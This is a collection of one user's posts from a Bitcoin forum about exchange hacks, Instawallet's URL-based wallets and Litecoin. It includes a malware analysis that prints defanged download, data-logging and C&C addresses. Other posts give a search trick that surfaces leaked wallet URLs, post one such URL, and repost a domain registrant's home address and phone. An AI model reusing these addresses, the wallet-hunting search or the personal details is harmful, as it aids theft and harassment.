 Show Posts
|
|
Pages: [1] 2 »
|
|
^ if they had chosen a cheap crappy provider, then I would agree, but AFAIK then OVH isn't known for "being crappy" or use insecure/outdated software on their systems.
|
|
|
|
"2 identical hacks in 2 days for #bitcoin services hosted at #OVH. @olesovhcom your manager will reset a password without e-mail confirmation" https://twitter.com/Bitcoin_Central/status/327131323342942209Looks like OVH is to blame  And srsly host critic websites on your own servers, don't trust OVH/Linode or anyone  |
|
|
|
|
Mike Hearn: You are right, it does not exploit any flaws in Java (just ask permission, download'n'run the malware).
|
|
|
|
The webpage with the exploit: hXXp://coinchat.freetzi.com/blank.html <applet name='Coin Chat Client' width='900' height='450' code='wFidEABfB.class' archive='wFidEABfB.jar'></applet> The .jar contains: The malware: hXXp://fuskbugg.se/dl/f1adsy/smss2.exe ( virustotal) (I have sent the file to a lot of A/V vendors, so hopefully the detection rate will soon be better) And badly obfuscated "logger": hXXp://galaxyjdb.com/insert.php?&o= OS.name &u=thewinner1234&ip= IP &e= paramString (could be some kind of pay-by-install ?) paramString can be "Noa", "Noc", "Yes", "Nod" (also "http" has been changed to "hXXp", just in case. NEVER click ANY of these links, unless you know what you're doing). EDIT1: The malware C&C server = service2012.no-ip.biz = 63.141.253.124 (port 91) coinchat.freetzi.com = 69.162.82.249 fuskbugg.se = 88.80.2.12 galaxyjdb.com = 109.163.233.106 galaxyjdb.com is owned by: Quick Ware
Alex B (sblfc1234@gmail.com)
+44.7543642587
Fax: +1.5555555555
8 does it matter road
Liverpool, merseyside l17 7ja
GB EDIT2: The .jar exploit contain: k{ol~puuly89:
Coded By Orpheu
The Responsibility in the use of this is on the user not the coder(Orpheu's skype = izroda6) And the C&C server is most likely made using this tutorial: http://www.hackforums.net/showthread.php?tid=145184 |
|
|
|
I don't know how bitcoind's default behavior is, but can't you try to re-spend all the 0-confirms (and add a fee to the new transaction)? If the hacked transactions has a very low priority (or isn't added the the mempool), because they don't have a fee (why would the hacker not even pay a fking fee?), then you might be able to "steal" some of them back  EDIT: When I wrote this, less than 50 BTC was confirmed. Now all of them is confirmed, so it is too late. |
|
|
|
06:07 < ryannn> They say there's no 'central weak point'
06:07 < ryannn> Yeah there is, there's the developers
06:08 < ryannn> There's been bugs in the client that have allowed the blockchain to split previously
06:08 < ryannn> One could just backdoor the bitcoin client binaries, not the source.
06:08 < ryannn> Nobody would figure it out until it's too late ... and this is not true, as the official binary is signed, and many people run cronjobs to download and verify that the official binary hasn't been modified. |
|
|
|
I could be wrong on this, but it's my understanding that they didn't have a robots.txt and Google started indexing their private URLS.
I could be wrong on this though. Yes your wrong. One of the few things we know, is that the "Google index url" problem wasn't a security flaw and couldn't have been used to hack them in any way. |
|
|
|
Nice! The faster they get this in place, the faster I can start flatter'ing again |
|
|
|
|
Apple wont allow anything that is even remotely P2P, and definitely not something where they don't get a certain amount of profit each transfer, so no.
|
|
|
|
I guess your the owner  you could have just said so Also can you explain the security you employ? Are the address encrypted so you can't change them? We employ the most up to date Cross-site Scripting Prevention, Cross-site Request Forgery Prevention, and Cookie Attack Prevention (even though there is no login capability yet) techniques. Furthermore the server is only accessible through non 80 ports from one single undisclosed location. If the addresses were encrypted I could still change them so I don't see how encryption would help prevent me from doing so if I had the retarded intention to do so, unless I'm missing something? And do you know anything about security, or are you just copy/pasting a lot of bull**** ? http://bit.co.in/123451 <-- woops?  |
|
|
|
Having password in URL is a security flaw. It opens obvious attack vectors with very high probability of being exploited sooner or later. Information Security is all about risks and probabilities. Everything that increases risk is a "security flaw" to some degree. No it is not. What you don't get, is that there is a huge difference between "not following best practice" and "having a security flaw in your website". The reason why the "password in url" was described as a "security flaw", was because 'the founder' (a user) wanted it to look worse than it was (so Instawallet would look more bad for not paying him, even trough it was public knowledge that this was possible loooong before 'the founder' even "found" this). Instawallet had a security flaw that got them hacked (this incident, we don't know how, but we do know that it had NOTHING to do with "password in url"), however the "password in url" was just a case of "not following best practice" (NOT a security flaw). It is just like when a websites uses a simple username+password combination to authenticate users, instead of a "zero-knowledge password proof"-protocol. Most websites use the lesser-secure username+password, but this doesn't mean you should create a forum post for each website, whining that you told all the websites on the internet that ZKPP is better and now you want a cookie + pay check ( <-- this was what 'the founder' did). So to sum up, it is not a security flaw/exploit, if you can't exploit/get access to *anything*, without requiring the users to tell you their passwords (<-- this is ofc just very simplified, but the point is that if your exploit is "give me your shared secret, and I can authenticate as you" then it isn't a exploit, it is a intend behaviour. You could argue "why use a shared secret, why not something else and more secure?" but it still wouldn't be a security flaw. Not now, not ever). [...] 3. The hacker has some info This is as far as i could go with this. I am not technically minded and can only guess from reading this thread the kind of data he could have. I have listed the possibilites from worst cast scenario to best. - 1) All 3.5 million URLS and public addresses in a list with balance attached to them in the list. - this would mean they have probably emptied all the big ones straight away
- 2) All 3.5 million URLS and public addresses in a list with no balance attached. - this would mean having to search each address on the blockchain to find out what is on each one. Quite time consuming. 2 people doing that for 90 days, 14 hours a day, looking up 1 every ten seconds would be 907,200
- 3) A portion of the URLS and public addresses, maybe gained from Google or Chrome as mentioned earlier in the thread - same as above but obviously some of us will not be affected
- 4) All 3.5 million URLS but not the public address - this would mean that as soon as the website was closed they no longer had access to the site to search for bitcoins in the URLS they were holding
- 5) A portion of the URLS but no public address - the same as above but again doesn't affect everyone
There may be more but that's all i could think of for now. [...] What do you guys think? I agree on most parts, but: 2) Actually "2" would be almost like "1". It wouldn't be time consuming at all, because you can just write a parser to parse the blockchain and sort by amount (change a bit here and there, and this source code + the blockchain, is all you need). 3) As I wrote earlier, then this is 100% without any doubt NOT the case. |
|
|
|
I found a security breach in instawallet last week... I fixed it for them... they never tipped me or anything... Correction: You found a "mistake" in their website. Some might call it a flaw, but it is certainly not a security flaw or exploit. Please don't spread alot of FUD, this might actually be a serious matter. Someone might have exploited a real security vulnerability. It was most definitely a security flaw. There's a reason many services that offer similar things, use the 'fragment' in the URL (the part after the # in the URL) to authenticate users. The end result is that you can't use the actual URL itself to gain access to the wallet, and need the 'fragment' as well. The fragment is entirely clientside. To put it simply, using a url as your sole authentication is a really fucking stupid idea. I totally agree with your last line, but "a fucking stupid idea" != security flaw. Just like when a website create a recover link: blah.tld/recover.php?secret=SomEtHingRandom, as long as I don't share this link, then only I and the website know the link, so only I can change my password/recover my user. THIS IS NOT A SECURITY FLAW. However, if I share this link with world+dog (public internet) - and a lot of people did this, by sharing their *PRIVATE URL* with everyone on the public internet - then everybody can "hack" me. But this is NOT due to a security flaw in the website! This is due to a human error, because someone shared their private urls (not a security flaw in the website and will never be). The "flaw" first discussed in instawallet (which wasn't even a flaw) was simply because Google allow everyone to easy see this list of PUBLIC SHARED URLS by typing the command "site:" in Google. It is STILL possible to get this list, by simply changing "site:" to e.g. "allintext:" ( proof) however now you manually have to visit every site on the list and dig out the instawallet link (before Google would do this for you). It is best practice to tell Google: "please don't make this list _easy_ accessible", however you and everyone else will always be able to find "the list" (and the list will always exist, as long as people share their urls with everyone). It is NOT a security flaw in any website, that you can find this list (assuming the list only consist of private urls leaked by users, not the website). Had Instawallet leaked just one link, then this had been a security flaw, but they DIDN'T. Not a single link. And can we now please stop talking about this silly "mistake" (it's not even a flaw - and you would NEVER be able to use it, to hack Instawallet), and actually focus on THE REAL HACK. Please? |
|
|
|
Vladimir: +1. And while the way Instawallet work is not security-by-design, then doing a "site:"-search is not a security flaw - as long as Instawallet didn't leak the url's. Injust: Just to make sure; you do know that google didn't "magically" find these urls, right? And Instawallet didn't leak them. (Also, 2+2 is not equal 5). If it wasn't Instawallet and google can't do magic, who do you think leaked them?  |
|
|
|
BitDreams & Injust: So by your definition, I have found a security bug _in hotmail_, by going to google, searching for a hacked database dump of some random other site (i.e. not hotmail), find a random user with a @hotmail email and try to login to his mail by reusing his password from the other hacked site. If this work (which it does with enough tries), then it would be hotmail.com's fault? This is what your saying right now I suggest you read this: https://bitcointalk.org/index.php?topic=159025.msg1695310#msg1695310 basically the founder's "flaw" (which has been known for ages) is about finding people who leaks their private keys (just like leaking your mail+pass). Not protecting against this, is not - and will never - be a security flaw. It is, as I've said before, best practice to do whatever you can to stop user errors, but it the end it's the users fault. To quote Albert Einstein: "Only two things are infinite, the universe and human stupidity, and I'm not sure about the former." |
|
|
|
I found a security breach in instawallet last week... I fixed it for them... they never tipped me or anything... Correction: You found a "mistake" in their website. Some might call it a flaw, but it is certainly not a security flaw or exploit. Please don't spread alot of FUD, this might actually be a serious matter. Someone might have exploited a real security vulnerability. |
|
|
|
LiteCoin is Bitcoin 2.0 fixed!
They fixed the 51% security bug,
they fixed the transaction speed,
they fixed the problem of dedicated hardware having an unfair mining advantage. omfg. [insert "not-sure-if-trolling-or-just-stupid" pic] 1) The "51%" attack can NEVER be fixed using the "bitcoin model" (which litecoin use). 2) Litecoin just changed the algorithm to generate blocks ever 2.5 minutes, instead of every 10 minutes. Blocks every 2.5 min has a lot of negative sides (why do you think Satoshi choose 10 minutes? "just for fun"? ). Also one litecoin confirm is much weaker than one bitcoin confirm. You are comparing apples and bananas... 3) They introduced a huge vulnerability for a botnet to attack the network (e.g. 51%-'botnet'-attack is much, much, MUCH easier on litecoin than on bitcoin). |
|
|
|
1 - freaking linking like that to someone's wallet ? seriously? Someone decided to post it public (not me) and everyone (Google) can access this. Also it's not even what I usually pay in transaction fee :lol: It's not like someone is going to miss these coins. 2 - You didn't find that link directly on Google, you found someone that was scraping or whatever then linking to it, show me that screenshot of where you found it because I'm willing to bet you found it on a scraper using the allintext operator. Just go to page 2 of google and search for " https://instawallet.org/w/xoZ1YqOtD6ycsyk1DaiNelUAbOhagbT0g" and you will see it: https://www.google.dk/#q=allintext:instawallet.org/w/&hl=da&start=10(how do you think google found "your" links vs how google found "my" links?) 3 - Someone trusts their bitcoins to instawallet, and instawallet's structure allows someone to steal those coins, how is that not a security problem? Please enlighten me. omfg - instawallet url = private key = "username + password". Give me your hotmail username and password and I can "hack hotmail" |
|
|
|
|
I'm pretty sure bitcoind crashes when "walletpassphrase" timeout while "sendmany" is doing it's job.
I can't test it right now, but as far as I remember then 0.7 had this problem (and I don't think it's fixed in 0.8 ).
|
|
|
|
Herodes: Min sikkerhed i forhold til kodeord/lokal pc ikke bliver infekseret osv burde være iorden, så det er jeg ikke så bange for  Dette var bare første gang at jeg ser login forsøg med brugernavnet "bitcoin" (kan forestille mig at der kommer mange flere i fremtiden :/ ) Låsen på min bil været i stykker i snart 1 år, og overraskende nok har ingen stjålet noget endnu, ikke at der ligger noget i den som er værd at stjæle, men den har trods alt stået ulåst i snart 1 år og har ingen startspærre eller alarm, så man skulle da tro at der snart var nogen der gad tage den (ellers dør den til syn næste år  ). |
|
|
|
On the screenshot we can see that you just searched for "site:instawallet.org", this is something that has been known for ages (e.g. https://plus.google.com/114827336297709201563/posts/TQNiDpqtwxT). Aka "Google hacking", "google dork", whatever it has nothing to do with hacking. But simply asking google not to index or list items on your website, doesn't "fix" it because it has never been a security problem in instawallet. As I said before, it is best practice to do what you helped them with, but not a security problem to not do it. You want it to be a security problem to make instawallet look bad for not paying you, but please just face that it isn't and will never be a security problem. Changing the "site" command to e.g. "allintext" and volá free bitcoins: https://instawallet.org/w/xoZ1YqOtD6ycsyk1DaiNelUAbOhagbT0g But no, I'm not blaming instawallet. |
|
|
|
|
